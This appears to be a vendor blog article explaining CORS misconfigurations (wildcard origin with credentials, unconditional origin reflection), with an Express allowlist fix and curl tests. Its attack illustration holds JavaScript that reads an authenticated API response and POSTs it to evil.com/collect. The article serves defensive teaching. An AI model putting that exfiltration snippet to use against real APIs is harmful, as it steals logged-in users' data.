CORS misconfigurations that silently expose your API to any origin
Par Seaworthy · 20 mai 2026
Photo by Towfiqu barbhuiya on Unsplash
CORS is one of those browser mechanisms that developers either understand deeply or cargo-cult entirely. The misconfiguration that AI-generated backends produce most often sits squarely in the second camp: a wildcard Access-Control-Allow-Origin: * sitting next to Access-Control-Allow-Credentials: true. This combination does not work the way most developers assume. It is, in fact, rejected by every major browser, and the reason why reveals something important about how CORS actually functions.
How CORS works and what the browser preflight actually checks
CORS is a browser-side enforcement mechanism. The server does not block anything on its own — it announces a policy via response headers, and the browser decides whether to hand the response data to the calling JavaScript.
For simple requests (GET, POST with certain content types), the browser makes the request and then checks Access-Control-Allow-Origin. If the header is * or matches the requesting origin, the response is handed over. If not, the browser discards it.
For anything more complex — DELETE, PUT, or any request with custom headers — the browser sends an OPTIONS preflight first. The server responds with what it will and will not allow. If the preflight is rejected, the actual request is never sent.
The Access-Control-Allow-Credentials: true header is opt-in permission to include cookies, Authorization headers, and TLS client certificates in cross-origin requests. It exists separately from the origin allowlist for a reason: credentials change the threat model entirely.
Why wildcard origin combined with credentials creates a cross-site data theft vector
Here is the attack. A user is logged into api.yourapp.com. Their session cookie is stored in the browser. A malicious site at evil.com runs this JavaScript:
fetch('https://api.yourapp.com/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
If api.yourapp.com responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true, the browser would — if it permitted this combination — attach the session cookie to the request and hand the response back to the malicious script. The user's profile data, or any authenticated endpoint, would be readable by any site on the internet.
Browsers do not allow this combination. The spec prohibits it explicitly: when credentials mode is include, the origin must be a specific value, never *. So the configuration is not just dangerous — it is broken. The API becomes unreachable from authenticated cross-origin requests, which is usually not what was intended, but the developer does not notice until users report that the app does not work in production.
The real problem is the path taken to fix it. Many developers, following AI-generated advice or Stack Overflow answers, switch from * to reflecting the Origin header back unconditionally. That solves the credential problem but recreates the wildcard problem. Any origin is now explicitly allowed, and credentials work. The attack above succeeds.
Origin allowlists: the correct pattern
The right approach is to maintain an explicit set of allowed origins and reflect the request origin only if it appears in that set.
import cors from 'cors';
const ALLOWED_ORIGINS = new Set([
'https://app.yourapp.com',
'https://www.yourapp.com',
// Add staging/preview URLs as needed, never '*'
]);
app.use(
cors({
origin: (requestOrigin, callback) => {
// Allow requests with no origin (server-to-server, curl, mobile apps)
if (!requestOrigin) {
return callback(null, true);
}
if (ALLOWED_ORIGINS.has(requestOrigin)) {
return callback(null, requestOrigin);
}
callback(new Error(`Origin ${requestOrigin} not permitted by CORS policy`));
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
})
);
Note that the callback returns the specific origin string, not true. Returning true causes the library to reflect *, which will fail when credentials: true is set. Returning the matched origin string causes the library to reflect that exact value back, which satisfies the browser.
The ALLOWED_ORIGINS set should be populated from an environment variable in production so that preview deployments can be added without a code change. Parsing CORS_ORIGINS=https://app.yourapp.com,https://staging.yourapp.com at startup is sufficient for most setups.
Reviewing AI-generated cors() middleware configurations
I have seen a consistent pattern in AI-generated Express and Fastify setup code. The model reaches for the simplest configuration first:
// Common AI output — looks fine, is not
app.use(cors({ origin: '*', credentials: true }));
This is the configuration that prompted the entire article. When the developer tests it locally and finds cross-origin requests fail (because the browser rejects the wildcard-credentials combo), the follow-up AI prompt often produces the reflect-all-origins pattern, which is silently worse.
When you review a backend that was generated or scaffolded with AI assistance, look for whether credentials: true is set, what the origin field is set to, and whether there is any validation logic at all. If origin is a function that does not consult an allowlist, it is probably reflecting unconditionally.
Testing CORS configuration with curl and browser devtools
Curl does not enforce CORS, but it lets you inspect what headers the server is actually returning:
# Test preflight from a specific origin
curl -s -X OPTIONS https://api.yourapp.com/user/profile \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Authorization" \
-D - -o /dev/null
If the response contains Access-Control-Allow-Origin: https://evil.com, your allowlist is not working. The value should either be absent or be one of your known-good origins.
In browser devtools, look at the Network tab for your API calls. The preflight OPTIONS request appears separately from the actual request. Check its response headers. If Access-Control-Allow-Origin is * and the request that follows includes cookies, the browser will silently drop the response, which is the correct behaviour, but also a confusing failure mode that is hard to diagnose without knowing to look for it.
Seaworthy flags this pattern automatically.
Cet article a été généré par IA et résume des sources publiquement disponibles.
Seaworthy analyse votre dépôt pour détecter les problèmes abordés dans des articles comme celui-ci.
Failles de sécurité, secrets exposés et mauvaises configurations détectés avant le déploiement. Gratuit, aucun compte requis.